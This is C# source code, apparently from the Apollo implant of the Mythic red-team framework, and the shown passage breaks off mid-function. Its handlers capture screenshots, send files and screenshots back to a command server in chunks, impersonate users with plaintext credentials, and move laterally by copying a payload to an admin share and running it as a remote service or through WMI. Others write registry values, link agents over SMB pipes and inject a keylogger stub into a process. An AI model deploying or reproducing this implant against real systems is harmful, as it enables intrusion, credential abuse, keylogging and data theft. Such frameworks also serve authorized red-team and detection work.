public static void Execute(Job job, Agent agent) { Task task = job.Task; string path = task.parameters; if (Directory.Exists(path)) { job.SetError($"Directory \"{path}\" already exists."); return; } try { var dinfo = Directory.CreateDirectory(path); job.Task.completed = true; ApolloTaskResponse resp = new ApolloTaskResponse(job.Task, $"Created directory {dinfo.FullName}") { artifacts = new Mythic.Structs.Artifact[] { new Mythic.Structs.Artifact() { base_artifact = "Directory Create", artifact = dinfo.FullName } } }; job.SetComplete(resp); } catch (Exception e) { job.SetError($"Error creating directory \"{path}\": {e.Message}"); } }
/// <summary> /// Kill a process with a given PID. /// </summary> /// <param name="job"> /// Job associated with this task. The process to kill /// is located in job.Task.parameters and should be a /// valid unsigned 32-bit integer. /// </param> /// <param name="agent">Agent to run this command on.</param> public static void Execute(Job job, Agent agent) { Task task = job.Task; KillParameters args = JsonConvert.DeserializeObject <KillParameters>(task.parameters); int pid = args.pid; try { System.Diagnostics.Process target = System.Diagnostics.Process.GetProcessById(pid); target.Kill(); ApolloTaskResponse resp = new ApolloTaskResponse(job.Task, $"Killed process with PID {pid}") { artifacts = new Mythic.Structs.Artifact[] { new Mythic.Structs.Artifact() { base_artifact = "Process Terminated", artifact = $"{target.ProcessName} (PID: {pid})" } } }; job.SetComplete(resp); } catch (Exception e) { job.SetError(String.Format("Error killing process with PID {0}. Reason: {1}\nStack Trace:\n{2}", pid, e.Message, e.StackTrace)); } }
/// <summary> /// Send a chunked screenshot response to the Apfell server. /// </summary> /// <param name="implant">Agent that will be sending the data.</param> /// <param name="task">Task associated with the screenshot.</param> /// <param name="screenshot">Byte array of data that holds a chunked screenshot response.</param> private static void SendCapture(Agent implant, Job job, byte[] screenshot) { Task task = job.Task; try // Try block for HTTP request { // Send total number of chunks to Apfell server // Number of chunks will always be one for screen capture task // Receive file ID in response // Send number of chunks associated with task to Apfell server // Response will have the file ID to send file with int totalChunks = (int)Math.Ceiling((double)screenshot.Length / (double)implant.Profile.ChunkSize); ApolloTaskResponse registrationMessage = new ApolloTaskResponse() { task_id = task.id, total_chunks = totalChunks, full_path = task.id }; //SCTaskResp initial = new SCTaskResp(task.id, "{\"total_chunks\": " + total_chunks + ", \"task\": \"" + task.id + "\"}"); job.AddOutput(registrationMessage); MythicTaskResponse resp = (MythicTaskResponse)Inbox.GetMessage(task.id); if (resp.file_id == "") { job.SetError(String.Format("Did not parse a file_id from the server response. Server reply was: {0}", resp.ToString())); return; } // Convert chunk to base64 blob and create our FileChunk for (int i = 0; i < totalChunks; i++) { ApolloTaskResponse fc = new ApolloTaskResponse(); fc.chunk_num = i + 1; fc.file_id = resp.file_id; fc.total_chunks = -1; byte[] screenshotChunk = new byte[implant.Profile.ChunkSize]; if (implant.Profile.ChunkSize > screenshot.Length - (i * implant.Profile.ChunkSize)) { Array.Copy(screenshot, i * implant.Profile.ChunkSize, screenshotChunk, 0, screenshot.Length - (i * implant.Profile.ChunkSize)); } else { Array.Copy(screenshot, i * implant.Profile.ChunkSize, screenshotChunk, 0, implant.Profile.ChunkSize); } fc.chunk_data = Convert.ToBase64String(screenshot); fc.task_id = task.id; job.AddOutput(fc); Inbox.GetMessage(task.id); //Debug.WriteLine($"[-] SendCapture - RESPONSE: {implant.Profile.SendResponse(response)}"); } } catch (Exception e) // Catch exceptions from HTTP requests { // Something failed, so we need to tell the server about it job.SetError($"Error: {e.Message}"); } }
internal void AddOutput(object output, bool completed = false, string status = "") { Task.status = status; Task.completed = completed; #if MIMIKATZ || RUN || SHELL || POWERPICK || PSINJECT || EXECUTE_ASSEMBLY || ASSEMBLY_INJECT || SHINJECT || PRINTSPOOFER || SPAWN if (completed && sacrificialProcess != null) { string msg; if (sacrificialProcess.HasExited) { msg = $"{sacrificialProcess.command} (PID: {sacrificialProcess.PID}, Exit Code: {sacrificialProcess.ExitCode})"; } else { msg = $"{sacrificialProcess.command} (PID: {sacrificialProcess.PID})"; } if (output.GetType() != typeof(ApolloTaskResponse)) { output = new ApolloTaskResponse(Task, output) { artifacts = new Artifact[] { new Artifact() { artifact = msg, base_artifact = "Process Create" } } }; } else { ApolloTaskResponse temp = (ApolloTaskResponse)output; if (temp.artifacts == null) { temp.artifacts = new Artifact[] { new Artifact() { artifact = msg, base_artifact = "Process Create" } } } ; output = temp; } } #endif if (output.GetType() == typeof(ApolloTaskResponse)) { var temp = (ApolloTaskResponse)output; temp.completed = completed; output = temp; } syncOutputQueue.Enqueue(output); }
/// <summary> /// Create a token based on the task.@params passed. /// </summary> /// <param name="task">Task that holds a Cred JSON dict with the proper values to spawn the process.</param> public static void MakeToken(Job j) { var task = j.Task; MakeTokenParameter parameters = JsonConvert.DeserializeObject <MakeTokenParameter>(task.parameters); MythicCredential cred = parameters.credential; if (string.IsNullOrEmpty(cred.account) || string.IsNullOrEmpty(cred.credential)) { j.SetError("Username and password are required for make_token."); return; } if (cred.credential_type != "plaintext") { j.SetError($"make_token can only be used with plaintext credentials, and was given credentials of type {cred.credential_type}"); return; } string userFQDN = cred.account; if (!string.IsNullOrEmpty(cred.realm)) { userFQDN = cred.realm + "\\" + userFQDN; } else { userFQDN = ".\\" + userFQDN; } if (!CredentialManager.SetCredential(cred.account, cred.credential, cred.realm)) { j.SetError($"Failed to make_token with {userFQDN}:{cred.credential}\n\t:Error Code: {Marshal.GetLastWin32Error()}"); return; } try { string msg = $"Successfully impersonated {CredentialManager.GetCurrentUsername()}"; ApolloTaskResponse resp = new ApolloTaskResponse(task, msg) { artifacts = new Artifact[] { new Artifact("Logon Event", $"New Type 9 Logon for {CredentialManager.GetCurrentUsername()}") } }; j.SetComplete(resp); } catch (Exception ex) { j.SetError($"Unknown error: {ex.Message}\nStackTrace{ex.StackTrace}"); } }
public static void Execute(Job job, Agent implant) { Task task = job.Task; MoveParameters arguments = JsonConvert.DeserializeObject <MoveParameters>(task.parameters); if (string.IsNullOrEmpty(arguments.source)) { job.SetError("No source path given to move."); return; } if (string.IsNullOrEmpty(arguments.destination)) { job.SetError("No destination path was given."); return; } if (!File.Exists(arguments.source)) { job.SetError($"File \"{arguments.source}\" does not exist."); return; } if (File.Exists(arguments.destination)) { job.SetError($"File \"{arguments.destination}\" already exists. Delete or move this file before overwriting it."); return; } FileInfo source = new FileInfo(arguments.source); FileInfo dest; try { File.Move(arguments.source, arguments.destination); dest = new FileInfo(arguments.destination); job.Task.completed = true; ApolloTaskResponse resp = new ApolloTaskResponse(job.Task, $"Successfully moved \"{arguments.source}\" to \"{arguments.destination}\"") { artifacts = new Artifact[] { new Artifact() { base_artifact = "File Move", artifact = $"Renamed {source.FullName} to {dest.FullName} (MD5: {FileUtils.GetFileMD5(dest.FullName)})" } } }; job.SetComplete(resp); } catch (Exception ex) { job.SetError($"Error performing the move operation. Reason: {ex.Message}"); } }
public void RemoveDelegateNode(string uuid) { if (DelegateNodes.ContainsKey(uuid)) { DelegateNode node = DelegateNodes[uuid]; if (node.NodeRelay.IsActive() && !node.TemporaryUUID) { node.NodeRelay.StopAllThreads = true; while (node.NodeRelay.IsActive()) { Thread.Sleep(500); } } DelegateNodesMutex.WaitOne(); DelegateNodes.Remove(uuid); DelegateNodesMutex.ReleaseMutex(); AS.EdgeNode en = new AS.EdgeNode() { source = this.uuid, destination = node.AgentUUID, direction = 1, // from source to dest metadata = "", action = "remove", c2_profile = node.ProfileInfo.name }; if (!node.TemporaryUUID) { var response = new ApolloTaskResponse() { task_id = node.OriginatingTaskID, completed = true, user_output = $"Lost link to {node.AgentComputerName} (Agent UUID: {node.AgentUUID})", status = "error", edges = new AS.EdgeNode[] { en } }; try { Profile.SendResponse(node.OriginatingTaskID, response); } catch (Exception ex) { DebugWriteLine($"Error sending node removal message to server. Reason: {ex.Message}\n\tStackTrack: {ex.StackTrace}"); } } } }
internal ApolloTaskResponse[] GetOutput() { List <ApolloTaskResponse> results = new List <ApolloTaskResponse>(); #if MIMIKATZ || POWERPICK || PSINJECT || EXECUTE_ASSEMBLY || ASSEMBLY_INJECT || PRINTSPOOFER List <string> output = new List <string>(); #endif while (syncOutputQueue.Count > 0) { object msg = syncOutputQueue.Dequeue(); #if MIMIKATZ || POWERPICK || PSINJECT || EXECUTE_ASSEMBLY || ASSEMBLY_INJECT || PRINTSPOOFER if (unmanagedCommands.Contains(Task.command) && msg.GetType() == typeof(string)) { output.Add((string)msg); } else { #endif if (msg.GetType() != typeof(ApolloTaskResponse)) { msg = new ApolloTaskResponse(Task, msg); } results.Add((ApolloTaskResponse)msg); #if MIMIKATZ || POWERPICK || PSINJECT || EXECUTE_ASSEMBLY || ASSEMBLY_INJECT || PRINTSPOOFER } #endif } #if MIMIKATZ || POWERPICK || PSINJECT || EXECUTE_ASSEMBLY || ASSEMBLY_INJECT || PRINTSPOOFER if (output.Count > 0) { ApolloTaskResponse temp = new ApolloTaskResponse(Task, string.Join("\n", output)); results.Add(temp); } #endif return(results.ToArray()); }
public static void Execute(Job job, Agent agent) { byte[] templateFile; PSExecParameters args; ApolloTaskResponse resp; string formattedRemotePath; string remotePath; string fileGuid = Guid.NewGuid().ToString(); bool bTemplateFileWritten = false; ServiceController resultantService = null; args = JsonConvert.DeserializeObject <PSExecParameters>(job.Task.parameters); if (string.IsNullOrEmpty(args.computer)) { job.SetError("Missing required parameter: computer"); return; } if (string.IsNullOrEmpty(args.template)) { job.SetError("Missing required parameter: template"); return; } if (string.IsNullOrEmpty(args.remote_path)) { formattedRemotePath = $"\\\\{args.computer}\\C$\\Users\\Public\\{fileGuid}.exe"; remotePath = $"C:\\Users\\Public\\{fileGuid}.exe"; } else { if (Directory.Exists(args.remote_path)) { args.remote_path = Path.Combine(args.remote_path, $"{fileGuid}.exe"); } remotePath = args.remote_path; formattedRemotePath = $"\\\\{args.computer}\\{args.remote_path.Replace(':', '$')}"; } if (string.IsNullOrEmpty(args.service_name)) { args.service_name = $"ApolloService-{fileGuid}"; } if (string.IsNullOrEmpty(args.display_name)) { args.display_name = $"Apollo Service: {fileGuid}"; } templateFile = agent.Profile.GetFile(job.Task.id, args.template, agent.Profile.ChunkSize); if (templateFile.Length == null || templateFile.Length == 0) { job.SetError($"Unable to retrieve template ID: {args.template}"); return; } try { File.WriteAllBytes(formattedRemotePath, templateFile); bTemplateFileWritten = true; } catch (Exception ex) { job.SetError($"Unable to write file to {formattedRemotePath}. Reason: {ex.Message}"); return; } resp = new ApolloTaskResponse(job.Task, $"Copied payload to {formattedRemotePath}"); job.AddOutput(resp); try { if (!Utils.ServiceUtils.InstallService(args.computer, args.service_name, args.display_name, remotePath)) { string errMsg = $"Error installing service \"{args.service_name}\" on {args.computer}. Last Win32 Error: {Marshal.GetLastWin32Error()}"; try { if (File.Exists(formattedRemotePath)) { File.Delete(formattedRemotePath); } } catch (Exception ex) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex.Message}"; } job.SetError(errMsg); return; } } catch (Exception ex) { string errMsg = $"Error installing service on \"{args.service_name}\" on {args.computer}. Reason: {ex.Message}"; try { if (File.Exists(formattedRemotePath)) { File.Delete(formattedRemotePath); } } catch (Exception ex2) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex2.Message}"; } job.SetError(errMsg); return; } resp = new ApolloTaskResponse(job.Task, $"Installed service \"{args.service_name}\" on {args.computer}"); job.AddOutput(resp); try { if (!Utils.ServiceUtils.StartService(args.computer, args.service_name)) { string errMsg = $"Unable to start service \"{args.service_name}\" on {args.computer}. Last Win32Error: {Marshal.GetLastWin32Error()}"; try { if (File.Exists(formattedRemotePath)) { File.Delete(formattedRemotePath); } } catch (Exception ex) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex.Message}"; } try { if (!Utils.ServiceUtils.UninstallService(args.computer, args.service_name)) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Last Win32Error: {Marshal.GetLastWin32Error()}"; } } catch (Exception ex) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Reason: {ex.Message}"; } job.SetError(errMsg); return; } } catch (Exception ex) { if (Utils.ServiceUtils.GetService(args.computer, args.service_name, out resultantService)) { if (resultantService.Status == ServiceControllerStatus.Running || resultantService.Status == ServiceControllerStatus.StartPending) { } else { string errMsg = ""; if (ex.GetType() == typeof(System.InvalidOperationException)) { errMsg += $"Error starting service: {ex.Message}"; } try { if (File.Exists(formattedRemotePath)) { File.Delete(formattedRemotePath); } } catch (Exception ex2) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex2.Message}"; } try { if (!Utils.ServiceUtils.UninstallService(args.computer, args.service_name)) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Last Win32Error: {Marshal.GetLastWin32Error()}"; } } catch (Exception ex3) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Reason: {ex3.Message}"; } job.SetError(errMsg); return; } } } try { if (resultantService == null) { if (!ServiceUtils.GetService(args.computer, args.service_name, out resultantService)) { job.SetError($"Could not find service {args.service_name} on {args.computer}"); return; // probably need to delete remote file } } job.SetComplete($@" Service started on {args.computer}! DisplayName : {resultantService.DisplayName} ServiceName : {resultantService.ServiceName} Status : {resultantService.Status} CanStop : {resultantService.CanStop}"); } catch (Exception ex) { string errMsg = "Could not find service on remote host."; try { if (File.Exists(formattedRemotePath)) { File.Delete(formattedRemotePath); } } catch (Exception ex2) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex2.Message}"; } try { if (!Utils.ServiceUtils.UninstallService(args.computer, args.service_name)) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Last Win32Error: {Marshal.GetLastWin32Error()}"; } } catch (Exception ex3) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Reason: {ex3.Message}"; } job.SetError(errMsg); return; } }
public static void Execute(Job job, Agent agent) { WMIProcessExecuteParameters parameters = (WMIProcessExecuteParameters)JsonConvert.DeserializeObject <WMIProcessExecuteParameters>(job.Task.parameters); ApolloTaskResponse resp; MythicCredential cred = new MythicCredential(); bool success; byte[] templateFile; string username = null; string password = null; string formattedRemotePath = null; string fileGuid = Guid.NewGuid().ToString(); if (string.IsNullOrEmpty(parameters.computer)) { job.SetError("No computer name passed."); return; } if (string.IsNullOrEmpty(parameters.template)) { job.SetError("No template was given to download."); return; } if (!string.IsNullOrEmpty(parameters.credential)) { cred = JsonConvert.DeserializeObject <MythicCredential>(parameters.credential); } string remotePath = parameters.remote_path; if (string.IsNullOrEmpty(parameters.remote_path)) { formattedRemotePath = $"\\\\{parameters.computer}\\C$\\Users\\Public\\{fileGuid}.exe"; remotePath = $"C:\\Users\\Public\\{fileGuid}.exe"; } else { if (Directory.Exists(parameters.remote_path)) { parameters.remote_path = Path.Combine(parameters.remote_path, $"{fileGuid}.exe"); } remotePath = parameters.remote_path; //formattedRemotePath = $"\\\\{parameters.computer}\\{parameters.remote_path.Replace(':', '$')}"; } try { templateFile = agent.Profile.GetFile(job.Task.id, parameters.template, agent.Profile.ChunkSize); } catch (Exception ex) { job.SetError($"Error fetching remote file: {ex.Message}"); return; } if (templateFile == null || templateFile.Length == 0) { job.SetError($"File ID {parameters.template} was of zero length."); return; } try { File.WriteAllBytes(remotePath, templateFile); resp = new ApolloTaskResponse(job.Task, $"Copied payload to {remotePath}"); job.AddOutput(resp); } catch (Exception ex) { job.SetError($"Remote file copy to {remotePath} failed. Reason: {ex.Message}"); return; } if (!string.IsNullOrEmpty(cred.account)) { username = cred.account; if (!string.IsNullOrEmpty(cred.realm)) { username = cred.realm + "\\" + username; } password = cred.credential; } success = WMIUtils.RemoteWMIExecute(parameters.computer, remotePath, out string[] results, username, password); job.SetComplete(string.Join("\n", results)); }
/// <summary> /// Write a file to disk. /// </summary> /// <param name="job">Job associated with this task. task.@params will hold a JSON dict containing file_id and remote_path</param> /// <param name="implant">Agent associated with this task.</param> public static void Execute(Job job, Agent implant) { byte[] contents; Task task = job.Task; UploadParameters parameters = JsonConvert.DeserializeObject <UploadParameters>(task.parameters); string filepath; if (!string.IsNullOrEmpty(parameters.host) && !string.IsNullOrEmpty(parameters.remote_path)) { parameters.remote_path = $"\\\\{parameters.host}\\{parameters.remote_path}"; } if (string.IsNullOrEmpty(parameters.remote_path)) { filepath = Path.Combine(Directory.GetCurrentDirectory(), parameters.file_name); } else if (Directory.Exists(parameters.remote_path)) { filepath = Path.Combine(parameters.remote_path, parameters.file_name); } else if (!string.IsNullOrEmpty(Path.GetDirectoryName(parameters.remote_path)) && Directory.Exists(Path.GetDirectoryName(parameters.remote_path))) { filepath = parameters.remote_path; } else if (File.Exists(parameters.remote_path)) { job.SetError($"File {parameters.remote_path} already exists on disk. Please move or delete the specified file before overwriting."); return; } else if (!string.IsNullOrEmpty(parameters.remote_path) && !parameters.remote_path.Contains("\\")) { filepath = $".\\{parameters.remote_path}"; } else { job.SetError($"Could not find a location on disk that matches the remote path given: {parameters.remote_path}"); return; } if (string.IsNullOrEmpty(parameters.file)) { job.SetError("No file was given to upload."); return; } // First we have to request the file from the server with a POST try // Try block for HTTP request { contents = implant.Profile.GetFile(job.Task.id, parameters.file, implant.Profile.ChunkSize); if (contents == null || contents.Length == 0) { job.SetError($"Retrieved file {parameters.file_name} (ID: {parameters.file}), but it was zero length. Aborting upload."); return; } // Write file to disk File.WriteAllBytes(filepath, contents); FileInfo finfo = new FileInfo(filepath); ApolloTaskResponse resp = new ApolloTaskResponse(task, $"Wrote {contents.Length} bytes to {filepath}") { full_path = finfo.FullName, file_id = parameters.file, artifacts = new Mythic.Structs.Artifact[] { new Mythic.Structs.Artifact() { base_artifact = "File Create", artifact = $"{finfo.FullName} (MD5: {FileUtils.GetFileMD5(finfo.FullName)})" } } }; //resp.user_output = $"Wrote {contents.Length} bytes to {filepath}"; job.SetComplete(resp); } catch (Exception ex) // Catch exceptions from HTTP request { // Something failed, so we need to tell the server about it job.SetError($"Error writing file to disk. Reason: {ex.Message}"); } }
/// <summary> /// Download a file to the remote Apfell server. /// </summary> /// <param name="job"> /// Job associated with this task. /// File to download is in job.Task.parameters /// </param> /// <param name="implant">Agent this task is run on.</param> public static void Execute(Job job, Agent implant) { Task task = job.Task; string filepath = task.parameters.Trim(); string strReply; bool uploadResponse; if (filepath[0] == '"' && filepath[filepath.Length - 1] == '"') { filepath = filepath.Substring(1, filepath.Length - 2); } else if (filepath[0] == '\'' && filepath[filepath.Length - 1] == '\'') { filepath = filepath.Substring(1, filepath.Length - 2); } try // Try block for file upload task { // Get file info to determine file size FileInfo fileInfo = new FileInfo(filepath); long size = fileInfo.Length; // Determine number of 512kb chunks to send long total_chunks = size / 512000; // HACK: Dumb workaround because longs don't have a ceiling operation if (total_chunks == 0) { total_chunks = 1; } // Send number of chunks associated with task to Apfell server // Response will have the file ID to send file with ApolloTaskResponse registrationMessage = new ApolloTaskResponse() { task_id = task.id, total_chunks = total_chunks, full_path = fileInfo.FullName }; job.AddOutput(registrationMessage); MythicTaskResponse resp = (MythicTaskResponse)Inbox.GetMessage(job.Task.id); if (resp.file_id == "") { job.SetError(String.Format("Did not parse a file_id from the server response. Server reply was:\n\t{0}", resp.ToString())); return; } // Send file in chunks for (int i = 0; i < total_chunks; i++) { byte[] chunk = null; long pos = i * 512000; // We need to use a FileStream in case our file size in bytes is larger than an Int32 // With a filestream, we can specify a position as a long, and then use Read() normally using (FileStream fs = new FileStream(filepath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) { fs.Position = pos; // If this is the last chunk, size will be the remaining bytes if (i == total_chunks - 1) { chunk = new byte[size - (i * 512000)]; int chunkSize = chunk.Length; fs.Read(chunk, 0, chunkSize); } // Otherwise we'll read 512kb from the file else { chunk = new byte[512000]; fs.Read(chunk, 0, 512000); } } // Convert chunk to base64 blob and create our FileChunk ApolloTaskResponse fc = new ApolloTaskResponse() { chunk_num = i + 1, file_id = resp.file_id, task_id = job.Task.id, chunk_data = Convert.ToBase64String(chunk), total_chunks = -1 }; job.AddOutput(fc); } job.SetComplete($"Finished downloading file {filepath}"); } catch (Exception e) // Catch any exception from file upload { job.SetError($"Exception occurred while downloading file: {e.Message}"); } }
/// <summary> /// Download a file to the remote Apfell server. /// </summary> /// <param name="job"> /// Job associated with this task. /// File to download is in job.Task.parameters /// </param> /// <param name="implant">Agent this task is run on.</param> public static void Execute(Job job, Agent implant) { Task task = job.Task; DownloadParameters dlParams; string filepath = ""; string host = ""; string computerName = ""; try { computerName = Environment.GetEnvironmentVariable("COMPUTERNAME"); } catch { } try { dlParams = JsonConvert.DeserializeObject <DownloadParameters>(task.parameters); } catch (Exception ex) { job.SetError($"Failed to deserialize "); return; } host = dlParams.host; if (host != "") { if (host.ToLower() != "localhost" && host != "127.0.0.1" && host != "." && host != "::::" && host.ToLower() != computerName.ToLower()) { filepath = $"\\\\{host}\\{dlParams.file}"; } else { filepath = dlParams.file; host = computerName; } } else { filepath = dlParams.file; host = computerName; } try // Try block for file upload task { // Get file info to determine file size FileInfo fileInfo = new FileInfo(filepath); long size = fileInfo.Length; // Determine number of 512kb chunks to send long total_chunks = size / 512000; // HACK: Dumb workaround because longs don't have a ceiling operation if (total_chunks == 0) { total_chunks = 1; } // Send number of chunks associated with task to Apfell server // Response will have the file ID to send file with ApolloTaskResponse registrationMessage = new ApolloTaskResponse() { task_id = task.id, total_chunks = total_chunks, full_path = fileInfo.FullName, host = host }; job.AddOutput(registrationMessage); MythicTaskResponse resp = (MythicTaskResponse)Inbox.GetMessage(job.Task.id); if (resp.file_id == "") { job.SetError(String.Format("Did not parse a file_id from the server response. Server reply was:\n\t{0}", resp.ToString())); return; } // Send file in chunks for (int i = 0; i < total_chunks; i++) { byte[] chunk = null; long pos = i * 512000; // We need to use a FileStream in case our file size in bytes is larger than an Int32 // With a filestream, we can specify a position as a long, and then use Read() normally using (FileStream fs = new FileStream(filepath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) { fs.Position = pos; // If this is the last chunk, size will be the remaining bytes if (i == total_chunks - 1) { chunk = new byte[size - (i * 512000)]; int chunkSize = chunk.Length; fs.Read(chunk, 0, chunkSize); } // Otherwise we'll read 512kb from the file else { chunk = new byte[512000]; fs.Read(chunk, 0, 512000); } } // Convert chunk to base64 blob and create our FileChunk ApolloTaskResponse fc = new ApolloTaskResponse() { chunk_num = i + 1, file_id = resp.file_id, task_id = job.Task.id, chunk_data = Convert.ToBase64String(chunk), total_chunks = -1 }; job.AddOutput(fc); } job.SetComplete($"Finished downloading file {filepath}"); } catch (Exception e) // Catch any exception from file upload { job.SetError($"Exception occurred while downloading file: {e.Message}"); } }
public static void Execute(Job job, Agent implant) { bool isJsonArgs = job.Task.parameters[0] == '{'; string[] commands = null; string key = ""; string value_name = ""; string value_value = ""; if (string.IsNullOrEmpty(job.Task.parameters)) { job.SetError("No arguments given."); return; } if (!isJsonArgs) { commands = SplitCommandLine(job.Task.parameters); } switch (job.Task.command) { #if REG_QUERY_SUBKEYS case "reg_query_subkeys": try { if (isJsonArgs) { RegQuerySubKeysArguments args = JsonConvert.DeserializeObject <RegQuerySubKeysArguments>(job.Task.parameters); key = args.key; } else { if (commands.Length == 0) { job.SetError("No arguments given."); return; } key = commands[0]; } if (string.IsNullOrEmpty(key)) { job.SetError("No key given."); return; } string[] subkeys = RegistryUtils.GetSubKeys(key); List <RegQuerySubKeysResult> results = new List <RegQuerySubKeysResult>(); foreach (string subkey in subkeys) { string full_key = key.EndsWith("\\") ? key + subkey : string.Format("{0}\\{1}", key, subkey); results.Add(new RegQuerySubKeysResult() { key = subkey, full_key = full_key }); } job.SetComplete(results.ToArray()); } catch (Exception ex) { job.SetError(string.Format("Exception occurred while listing subkeys of {0}: {1}", key, ex.Message)); } break; #endif #if REG_QUERY_VALUES case "reg_query_values": try { if (isJsonArgs) { RegQueryValuesArguments args = JsonConvert.DeserializeObject <RegQueryValuesArguments>(job.Task.parameters); key = args.key; } else if (commands.Length > 0) { key = commands[0]; } if (string.IsNullOrEmpty(key)) { job.SetError("No key given to list values names for."); return; } string[] valuenames = RegistryUtils.GetValueNames(key); if (valuenames == null || valuenames.Length == 0) { valuenames = new string[] { "" } } ; if (!valuenames.Contains("")) { string[] tempArray = new string[valuenames.Length + 1]; Array.Copy(valuenames, tempArray, valuenames.Length); tempArray[tempArray.Length - 1] = ""; valuenames = tempArray; } List <RegQueryValuesResult> results = new List <RegQueryValuesResult>(); foreach (string valname in valuenames) { string tempvalname = valname; if (string.IsNullOrEmpty(valname)) { tempvalname = "(Default)"; } object value = null; string result = ""; string type = ""; try { value = RegistryUtils.GetValue(key, valname); } catch (Exception ex) { result = ex.Message; type = "error"; } if (string.IsNullOrEmpty(result)) { if (value is String) { result = string.IsNullOrEmpty(value.ToString()) ? "(value not set)" : value.ToString(); type = "string"; } else if (value is int) { result = value.ToString(); type = "int"; } else if (value is byte[]) { result = BitConverter.ToString((byte[])value); type = "byte[]"; } else if (value is null) { result = "(value not set)"; type = "null"; } else { result = value.ToString(); type = "unknown"; } } results.Add(new RegQueryValuesResult() { name = tempvalname, value = result, type = type }); } job.SetComplete(results.ToArray()); } catch (Exception ex) { job.SetError(string.Format("Error occurred while listing values for {0}: {1}", key, ex.Message)); } break; #endif #if REG_WRITE_VALUE case "reg_write_value": try { if (isJsonArgs) { RegWriteValueArguments args = JsonConvert.DeserializeObject <RegWriteValueArguments>(job.Task.parameters); key = args.key; value_name = args.value_name; value_value = args.value_value; } else if (commands.Length == 3) { key = commands[0]; value_name = commands[1]; value_value = commands[2]; } else { job.SetError(string.Format("Invalid number of command line arguments given. Expected 3, got:\n\t{0}", string.Join(", ", commands))); return; } bool bRet; if (int.TryParse(value_value, out int dword)) { bRet = RegistryUtils.SetValue(key, value_name, dword); } else { bRet = RegistryUtils.SetValue(key, value_name, value_value); } value_name = string.IsNullOrEmpty(value_name) ? "(Default)" : value_name; if (bRet) { job.Task.completed = true; ApolloTaskResponse resp = new ApolloTaskResponse(job.Task, $"Successfully set {value_name} to {value_value}") { artifacts = new Artifact[] { new Artifact() { artifact = $"Set {value_name} to {value_value} under {key}", base_artifact = "Registry Write" } } }; job.SetComplete(resp); } else { job.SetError(string.Format("Error setting {0} to {1}", value_name, value_value)); } } catch (Exception ex) { value_name = string.IsNullOrEmpty(value_name) ? "(Default)" : value_name; job.SetError(string.Format("Error setting {0} to {1}: {2}", value_name, value_value, ex.Message)); } break; #endif default: job.SetError("Unknown command: " + job.Task.command); break; } }
private static void Link(Job job, Agent implant) { LinkMessage linkMsg = JsonConvert.DeserializeObject <LinkMessage>(job.Task.parameters); ConnectionInfo connInfo = linkMsg.connection_info; C2ProfileInfo profileInfo = connInfo.c2_profile; C2Profile profile; bool outbound; ApolloTaskResponse response; switch (profileInfo.name.ToLower()) { case "smbserver": string pipeName = profileInfo.parameters["PIPE_NAME".ToLower()]; string hostName = connInfo.host; try { profile = new SMBClientProfile(pipeName, hostName, implant.Profile.cryptor); } catch (Exception ex) { job.SetError(String.Format("Failed to link to {0} over named pipe \"{1}\". Reason: {2}", hostName, pipeName, ex.Message)); break; } SMBRelay relay = new SMBRelay((SMBClientProfile)profile, implant.Profile, job.Task.id); outbound = true; string newAgentGUIDMsg = Guid.NewGuid().ToString(); Thread t = new Thread(() => relay.BeginRelay(newAgentGUIDMsg)); t.Start(); string tempLinkedUUID = (string)MessageInbox.Inbox.GetMessage(newAgentGUIDMsg); DelegateNode delegateNode = new DelegateNode() { // AgentUUID = tempLinkedUUID, NodeRelay = relay, // TemporaryUUID = true, OutboundConnect = outbound, OriginatingTaskID = job.Task.id, AgentComputerName = hostName, ProfileInfo = profileInfo }; EdgeNode en = new EdgeNode() { source = implant.uuid, destination = tempLinkedUUID, direction = 1, // from source to dest metadata = "", action = "add", c2_profile = profileInfo.name }; if (tempLinkedUUID.StartsWith("staging-")) { tempLinkedUUID = tempLinkedUUID.Replace("staging-", ""); delegateNode.AgentUUID = tempLinkedUUID; delegateNode.TemporaryUUID = true; //string linkedUUID = relay.InitializeRelay(); implant.AddDelegateNode(tempLinkedUUID, delegateNode); string realUUID = (string)MessageInbox.Inbox.GetMessage(newAgentGUIDMsg); //Thread t = new Thread(() => relay.BeginRelay(newAgentGUIDMsg)); //t.Start(); implant.RemoveDelegateNode(tempLinkedUUID); delegateNode.AgentUUID = realUUID; delegateNode.TemporaryUUID = false; implant.AddDelegateNode(realUUID, delegateNode); en.destination = realUUID; } else { // this is a real uuid already staged delegateNode.AgentUUID = tempLinkedUUID; delegateNode.TemporaryUUID = false; implant.AddDelegateNode(tempLinkedUUID, delegateNode); } response = new ApolloTaskResponse(job.Task, $"Established link to {hostName}", new EdgeNode[] { en }); //implant.TryPostResponse(response); //implant.Profile.Send(JsonConvert.SerializeObject(new EdgeNodeMessage() //{ // edges = new EdgeNode[] { en } //})); job.SetComplete(response); //relay.BeginRelay(); break; default: job.SetError("Unsupported code path in LinkManager."); break; } }
public static void Execute(Job job, Agent implant) { Task task = job.Task; byte[] loggerStub; ApolloTaskResponse progressResp; KeylogArguments args = JsonConvert.DeserializeObject <KeylogArguments>(task.parameters); if (args.pid < 0) { job.SetError("PID must be non-negative."); return; } if (string.IsNullOrEmpty(args.pipe_name)) { job.SetError("No pipe was given to connect to."); return; } if (string.IsNullOrEmpty(args.file_id)) { job.SetError("No file ID was given to retrieve."); return; } try { System.Diagnostics.Process.GetProcessById(args.pid); } catch (Exception ex) { job.SetError($"Failed to find process with PID {args.pid}. Reason: {ex.Message}"); return; } loggerStub = implant.Profile.GetFile(job.Task.id, args.file_id, implant.Profile.ChunkSize); if (loggerStub == null || loggerStub.Length == 0) { job.SetError("Failed to fetch keylogger stub from server."); return; } var injectionType = Injection.InjectionTechnique.GetInjectionTechnique(); var injectionHandler = (Injection.InjectionTechnique)Activator.CreateInstance(injectionType, new object[] { loggerStub, (uint)args.pid }); 